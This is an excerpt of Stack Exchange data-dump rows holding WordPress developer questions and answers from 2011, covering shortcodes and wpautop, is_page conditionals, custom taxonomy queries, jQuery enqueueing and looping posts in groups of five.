  <row Id="21414" PostTypeId="1" CreationDate="2011-06-29T07:56:19.000" Score="0" ViewCount="87" Body="&lt;p&gt;I notice that theres invalid markup in my shortcode. Its ok if I disable &lt;code&gt;wpautop&lt;/code&gt; tho&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function shortcode_banner($attrs, $content = '') {&#xA;    echo ' --- ' . $content . ' --- ';&#xA;    $html = '&amp;lt;section id=&quot;banner&quot;&amp;gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;' . do_shortcode($content) . '&amp;lt;/div&amp;gt;&amp;lt;/section&amp;gt;';&#xA;    die($html);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When autop is enabled I get (notice the closing &lt;code&gt;&amp;lt;/p&amp;gt;&lt;/code&gt; at the start?)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--- &amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;The title&amp;lt;/h1&amp;gt;&#xA;xxx ... xxx ...&#xA;--- &#xA;&amp;lt;section id=&quot;banner&quot;&amp;gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;h1&amp;gt;The title&amp;lt;/h1&amp;gt;&#xA;xxx ... xxx ...&#xA;&amp;lt;/div&amp;gt;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When disabled I get &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; --- &#xA;&amp;lt;h1&amp;gt;The header&amp;lt;/h1&amp;gt;&#xA;xxx ... xxx ...&#xA; --- &#xA;&amp;lt;section id=&quot;banner&quot;&amp;gt;&amp;lt;div class=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;h1&amp;gt;The header&amp;lt;/h1&amp;gt;&#xA;xxx ... xxx ...    &#xA;&amp;lt;/div&amp;gt;&amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I notice this happens only when I have a  after my shortcode. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[banner]&#xA;&amp;lt;h1&amp;gt;Test&amp;lt;/h1&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[banner]&#xA;xxx ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Its ok except it adds a &lt;code&gt;&amp;lt;br /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3788" LastEditorUserId="3788" LastEditorDisplayName="" LastEditDate="2011-06-29T08:20:07.163" LastActivityDate="2011-08-28T22:36:13.303" Title="WordPress wpautop/shortcode generating invalid markup" Tags="&lt;shortcode&gt;&lt;wp-autop&gt;" AnswerCount="1" />
  <row Id="21415" PostTypeId="1" CreationDate="2011-06-29T08:11:37.590" Score="0" ViewCount="42" Body="&lt;p&gt;I'm using get_term_by to return the terms in a custom taxonomy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The term-&gt;count returns all of the terms INCLUDING the trashed items. That is, if I have 10 items in the taxonomy and 2 of them have been sent to trash, it still shows 10 and not 8.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it the filter arg to get_term_by? If not, what?&lt;/p&gt;&#xA;" OwnerUserId="6593" LastActivityDate="2011-06-29T08:11:37.590" Title="get_term_by shows count that includes trashed items" Tags="&lt;terms&gt;" CommentCount="2" />
  <row Id="21416" PostTypeId="2" ParentId="21383" CreationDate="2011-06-29T08:15:47.713" Score="2" ViewCount="" Body="&lt;p&gt;I don't think you fully understand the meaning of templates in WordPress. You do not choose template by including it in URL, WordPress deals with choosing template by making sense of URL request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;Template Hierarchy&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-29T08:15:47.713" CommentCount="1" />
  <row Id="21417" PostTypeId="1" CreationDate="2011-06-29T08:22:11.390" Score="0" ViewCount="47" Body="&lt;p&gt;If I disable autop entirely, I need to add &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; everywhere I want a paragraph. Is it possibe to disable autop temporarily? Like in a shortcode&lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-06-29T11:28:23.230" Title="Possible to disable autop temporarily?" Tags="&lt;wp-autop&gt;" AnswerCount="0" />
  <row Id="21418" PostTypeId="1" AcceptedAnswerId="21419" CreationDate="2011-06-29T08:35:45.620" Score="0" ViewCount="61" Body="&lt;p&gt;I have page called &quot;Apple&quot;, the page's ID id 2533.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In page.php file I have line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $bannerimg &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this function in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page( '2533' ) ) {    &#xA;    // also tested with 'Apple'&#xA;    $bannerimg = 'apple.jpg';&#xA;&#xA;} elseif ( is_page( 'test' ) ) {    &#xA;    $bannerimg = 'test.jpg';&#xA;&#xA;} elseif ( is_page( 'admissions' ) ) { &#xA;    $bannerimg = 'admissions.jpg';&#xA;&#xA;} else { &#xA;    $bannerimg = 'home.jpg';&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The point is the $bannerimg echoes &quot;home.jpg&quot; on every page, including Apple, test and admissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even checked all the IDs using the_ID &amp;amp; $page-&gt;ID. Nothing. So I guess there's something wrong with the code above?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-06-29T13:11:48.797" Title="is_page doesn't work?" Tags="&lt;functions&gt;&lt;pages&gt;&lt;conditional-content&gt;" AnswerCount="4" />
  <row Id="21419" PostTypeId="2" ParentId="21418" CreationDate="2011-06-29T08:41:38.517" Score="3" ViewCount="" Body="&lt;p&gt;&lt;code&gt;functions.php&lt;/code&gt; is processed way before you can know which page is being loaded. Instead of assigning value to variable put your code into function and use that function in &lt;code&gt;page.php&lt;/code&gt; template.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-06-29T08:41:38.517" CommentCount="3" />
  <row Id="21421" PostTypeId="2" ParentId="21418" CreationDate="2011-06-29T09:24:29.323" Score="1" ViewCount="" Body="&lt;p&gt;Extending what @Rarst posted and you commented  , a more elegant solution would be to create your own filter inside page.php and hook to it from a function inside the functions.php, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in you page.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bannerimg = apply_filters('my_bannerimg','defualt_img.jpg');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('my_bannerimg','what_page_is_it');&#xA;&#xA;function what_page_is_it($img){&#xA;    if ( is_page( '2533' ) ) {    &#xA;        return 'apple.jpg';&#xA;    } elseif ( is_page( 'test' ) ) {    &#xA;        return 'test.jpg';&#xA;    } elseif ( is_page( 'admissions' ) ) { &#xA;        return 'admissions.jpg';&#xA;    } else { &#xA;        return 'home.jpg';&#xA;    }  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T09:24:29.323" />
  <row Id="21422" PostTypeId="2" ParentId="21418" CreationDate="2011-06-29T09:38:34.007" Score="0" ViewCount="" Body="&lt;p&gt;Have you correctly declared wp_head(); etc in your theme?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, is_page accepts an ID without quotes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem may also be the fact you are already on the page template so it is a page, you may be better of querying the $post-&gt;ID or set up page-apple.php&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditorDisplayName="" LastEditDate="2011-06-29T09:57:09.467" LastActivityDate="2011-06-29T09:57:09.467" CommentCount="4" />
  <row Id="21423" PostTypeId="1" CreationDate="2011-06-29T09:41:16.867" Score="0" ViewCount="70" Body="&lt;p&gt;I've created a custom post type called &quot;References&quot; and a custom taxonomy &quot;Genre&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 terms : Applications and Games.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that I'd like to show posts associated in Applications on a page (and the same for the games). I believe WordPress do this like doing the same for tags....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, I just need to make a query and getting the current term of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I tried but I get the same list for each terms page (Applications and Games) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;div class=&quot;container&quot; role=&quot;main&quot;&amp;gt;&#xA;&#xA;                            &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php single_cat_title(); ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;div class=&quot;entry-content ref&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    $loop = new WP_Query( array( 'post_type' =&amp;gt; 'references' , 'genre' =&amp;gt; '') ); ?&amp;gt;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;ref&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;        &amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help me. I've Googled for a week now... &lt;/p&gt;&#xA;" OwnerUserId="6594" LastActivityDate="2011-08-29T01:36:14.967" Title="Showing current taxonomy terms" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-taxonomy&gt;&lt;customization&gt;" AnswerCount="1" />
  <row Id="21425" PostTypeId="2" ParentId="21423" CreationDate="2011-06-29T09:48:39.553" Score="0" ViewCount="" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_header(); ?&amp;gt;&#xA;&amp;lt;? // get the current term&#xA;    $term = get_term_by( 'slug', get_query_var( 'term' ), get_query_var( 'taxonomy' ) );&#xA;&#xA;    &amp;lt;div class=&quot;container&quot; role=&quot;main&quot;&amp;gt;&#xA;        &amp;lt;h1 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php echo $term-&amp;gt;name; ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;div class=&quot;entry-content ref&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    $loop = new WP_Query( array( 'post_type' =&amp;gt; 'references' , 'genre' =&amp;gt; $term-&amp;gt;slug) ); ?&amp;gt;&#xA;    &amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                &amp;lt;div class=&quot;ref&quot;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;&#xA;&#xA;        &amp;lt;?php the_post_thumbnail();?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; // end of the loop. ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .entry-content --&amp;gt;&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- #container --&amp;gt;&#xA;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you should put this in your theme inside taxonomy-genre.php&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-06-29T09:48:39.553" CommentCount="3" />
  <row Id="21426" PostTypeId="1" CreationDate="2011-06-29T10:04:26.573" Score="0" ViewCount="42" Body="&lt;p&gt;I have a vbulletin forum on the same domain as my wordpress site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I am able to edit the forum templates to match my site for look/feel this of course would not include any plugins I might be using.  In this case I am using a sliding panel login panel plugin which I would also like to be viewable while a user in browsing my forum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I am looking for a way of rendering the header/footer output into a usable form so that the code can be included into my forums header/footer templates.  Alternatively, is there a way to simply include the output of a single plugins php for inclusion into an external page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="6595" LastActivityDate="2011-06-29T10:04:26.573" Title="Dynamically extracting header/footer information for inclusions on an external page" Tags="&lt;header&gt;&lt;footer&gt;" CommentCount="7" />
  <row Id="21427" PostTypeId="1" AcceptedAnswerId="21445" CreationDate="2011-06-29T10:11:51.887" Score="0" ViewCount="42" Body="&lt;p&gt;I want to get all featured items using query post. featured is meta_key using custom field plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried bellow,but it failed&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$featured_item = new WP_Query('posts_per_page=-1&amp;amp;cat=3&amp;amp;meta_key=&amp;gt;Featured List&amp;amp;meta_value=&amp;gt;Yes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my wp version is 3.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$arg2 = array(&#xA;    'posts_per_page'=&amp;gt;'5',&#xA;    'cat'=&amp;gt;'3',&#xA;    'orderby'=&amp;gt;'rand',&#xA;    'meta_query'=&amp;gt; array(&#xA;        'key'=&amp;gt;'Featured List',&#xA;        'value'=&amp;gt;'Yes',&#xA;        'compare'=&amp;gt;'LIKE'&#xA;    )&#xA;);&#xA;&#xA;$featured_random_item = new WP_Query($arg2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This query also failed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do this &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !&lt;/p&gt;&#xA;" OwnerUserId="4022" LastEditorUserId="1685" LastEditorDisplayName="" LastEditDate="2011-06-29T11:56:43.170" LastActivityDate="2011-06-29T12:00:22.297" Title="how can i use custom field in query post" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="21429" PostTypeId="2" ParentId="21414" CreationDate="2011-06-29T10:19:13.447" Score="0" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// replaces [banner ...] .. [/banner] with &amp;lt;!--banner ID--&amp;gt; before the_content filters run&#xA;add_filter('the_content', 'protect_my_shortcode', -100);&#xA;function protect_my_shortcode($content){&#xA;  return preg_replace_callback('/\[(banner)\b(.*?)(?:(\/))?\](.+?)\[\/\1\]/s', 'protect_my_shortcode_callback', $content);&#xA;}&#xA;&#xA;function protect_my_shortcode_callback($matches){&#xA;  global $__banners;&#xA;  $id = '&amp;lt;!--banner '.count($__banners).'--&amp;gt;';&#xA;&#xA;  $__banners[$id] = do_shortcode($matches[0]);&#xA;  // or '['.$matches[1].' '.$matches[2].']'.$matches[4].'[/'.$matches[1].']'&#xA;  // if you need to run any filters on the shortcode content ($matches[4])&#xA;&#xA;  return $id;&#xA;}&#xA;&#xA;// replaces &amp;lt;!--banner ID--&amp;gt; with the processed shortcode after all the filters run&#xA;add_filter('the_content', 'unprotect_my_shortcode', 100);&#xA;function unprotect_my_shortcode($content){&#xA;  global $__banners;&#xA;  return str_replace(array_keys($__banners), array_values($__banners), $content);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-29T10:19:13.447" CommentCount="2" />
  <row Id="21430" PostTypeId="2" ParentId="21427" CreationDate="2011-06-29T10:20:39.057" Score="1" ViewCount="" Body="&lt;p&gt;The documentation for WP_Query is here:  &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Custom_Field_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use the array syntax, as it will make things clearer for you.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-29T10:20:39.057" CommentCount="3" />
  <row Id="21431" PostTypeId="1" AcceptedAnswerId="21433" CreationDate="2011-06-29T10:34:18.530" Score="0" ViewCount="81" Body="&lt;p&gt;I'm using a script that is based on jQuery, so I'm not enqueue-ing jQuery directly, but via passing it in the array of dependent scripts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_enqueue_script(&quot;jquery-plugin-name&quot;,'http://hostname.il/blogname/wp-content/themes/twentyten/js/jquery-plugin-name.js', array('jquery'), '1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is loading jQuery  v1.4.4, and it weighs 76kb, which seems very heavy, although the file looks compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Is there I way in which I can make it load the latest version of jQuery?&#xA;2) How can I make sure that the loaded file if minified?&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="373" LastEditorDisplayName="" LastEditDate="2011-07-05T18:43:59.390" LastActivityDate="2011-07-05T18:43:59.390" Title="How to control what jQuery version to include, with wp_enqueue_script" Tags="&lt;jquery&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" />
  <row Id="21432" PostTypeId="1" AcceptedAnswerId="21435" CreationDate="2011-06-29T10:34:39.777" Score="0" ViewCount="65" Body="&lt;p&gt;I'd like to have a query that returns posts grouped five by five. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have a simple query loop like this one :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( $query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;        &amp;lt;?php while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;?php the_title(); ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt; &#xA;        &amp;lt;?php endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It outputs :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 2&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 3&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 4&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 5&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 6&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 7&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 8&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 9&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 10&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead, what I'd like to have is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 1&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 2&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 3&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 4&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 5&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 6&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 7&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 8&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 9&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;post 10&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can this be done ?&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-06-29T14:54:44.100" Title="How to setup a query to output posts by groups of five?" Tags="&lt;posts&gt;&lt;loop&gt;&lt;query&gt;" AnswerCount="2" />
  <row Id="21433" PostTypeId="2" ParentId="21431" CreationDate="2011-06-29T10:38:48.967" Score="2" ViewCount="" Body="&lt;p&gt;That's the size of the minified jQuery nowadays :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load the latest from Google:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_deregister_script('jquery');&#xA;wp_register_script('jquery', (&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js&quot;), false, '1.6.1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-06-29T10:38:48.967" CommentCount="6" />
  <row Id="21434" PostTypeId="1" CreationDate="2011-06-29T10:43:14.340" Score="0" ViewCount="47" Body="&lt;p&gt;I am using thethefly sliding panels on my wordpress website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have them set to &quot;auto open&quot; when a user enters my website.  However when the user closes the panels and navigates to a different page (or refreshes the same page) the panels open up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I go about modyfing the plugin code so that they do not open again automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE:- The sliding panel plugin does have the ability to read a cookie and if that cookie is present, stop the panels from opening.  Would it then be a case of modifying the plugin so that a cookie is generated when the panels are closed and then setting the panels to look for that cookie?  If so, what code do I need to add to the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6595" LastActivityDate="2011-08-28T14:36:10.823" Title="Making sliding panel plugin stay closed when refreshing page" Tags="&lt;plugins&gt;" AnswerCount="1" />
  <row Id="21435" PostTypeId="2" ParentId="21432" CreationDate="2011-06-29T10:50:22.663" Score="4" ViewCount="" Body="&lt;p&gt;you can create a simple counter and condition:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php $count = 0; ?&amp;gt;&#xA;    &amp;lt;?php if( $query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;        &amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;            &amp;lt;?php while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post();&#xA;            if ($count &amp;lt; 5){ &#xA;                ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;?php the_title(); ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt; &#xA;                &amp;lt;?php&#xA;            }else{&#xA;                echo '&amp;lt;/ul&amp;gt;&amp;lt;ul class=&quot;posts&quot;&amp;gt;';         &#xA;            ?&amp;gt;&#xA;                &amp;lt;li&amp;gt;&#xA;                    &amp;lt;?php the_title(); ?&amp;gt;&#xA;                &amp;lt;/li&amp;gt; &#xA;                &amp;lt;?php&#xA;                $count = 0;&#xA;            }&#xA;            $count = $count + 1;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-06-29T11:06:49.157" LastActivityDate="2011-06-29T11:06:49.157" CommentCount="5" />
  <row Id="21436" PostTypeId="1" AcceptedAnswerId="21439" CreationDate="2011-06-29T10:50:46.610" Score="0" ViewCount="40" Body="&lt;p&gt;I prefer not to use asterisk markers on required fields in the comment form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to remove or alter the 'required fields are marked (*)' message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being a good wordpress user, I'd like to do it with my functions.php. I can work out how to filter most areas of the form, but not this. I'm guessing it will involve modifying the 'comment-notes-before' field of the 'defaults' array, but I can't quite see how to do that.&lt;/p&gt;&#xA;" OwnerUserId="1692" LastActivityDate="2011-06-29T11:20:54.930" Title="Alter required message using comment form api" Tags="&lt;php&gt;&lt;functions&gt;&lt;comments&gt;&lt;filters&gt;&lt;array&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="21437" PostTypeId="2" ParentId="21432" CreationDate="2011-06-29T10:51:48.013" Score="3" ViewCount="" Body="&lt;p&gt;Did you try this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if( $query-&amp;gt;have_posts() ) : ?&amp;gt;&#xA;    &amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;        &amp;lt;?php $count = 0; ?&amp;gt;&#xA;        &amp;lt;?php while ( $query-&amp;gt;have_posts() ) : $query-&amp;gt;the_post(); ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&#xA;                &amp;lt;?php the_title(); ?&amp;gt;&#xA;            &amp;lt;/li&amp;gt; &#xA;        &amp;lt;?php &#xA;           $count++; &#xA;           if ( ( $count % 5 ) == 0 &amp;amp;&amp;amp; $query-&amp;gt;have_posts() ) {&#xA;        ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;ul class=&quot;posts&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;           }&#xA;        endwhile; ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-06-29T14:54:44.100" LastActivityDate="2011-06-29T14:54:44.100" CommentCount="3" />
  <row Id="21438" PostTypeId="2" ParentId="21434" CreationDate="2011-06-29T10:55:24.157" Score="0" ViewCount="" Body="&lt;p&gt;that feature is built in the plugin , from the plugins FAQ:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What is that 'Suppressing Cookie' panel parameter for?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Leave it blank if you are not sure&#xA;  what it is for. Actually, this is an&#xA;  advanced option that helps you control&#xA;  your panel/window opening logic. It&#xA;  allows you to keep your Sliding Panels&#xA;  deactivated when some cookie is&#xA;  present on the visitor's computer.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;For example, if you want to display&#xA;  your Modal Window with your Newsletter&#xA;  Opt-In Form only for those visitors&#xA;  who have not been subscribed yet, you&#xA;  can choose to do so. In this case,&#xA;  when someone subscribes to your&#xA;  newsletter, you can set a cookie&#xA;  'Subscriber' to him. Then, enter this&#xA;  name in the 'Suppressing Cookie' field&#xA;  of the panel. And you are done!&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Those visitors who have already&#xA;  subscribed to your newsletter will not&#xA;  see your modal window anymore, 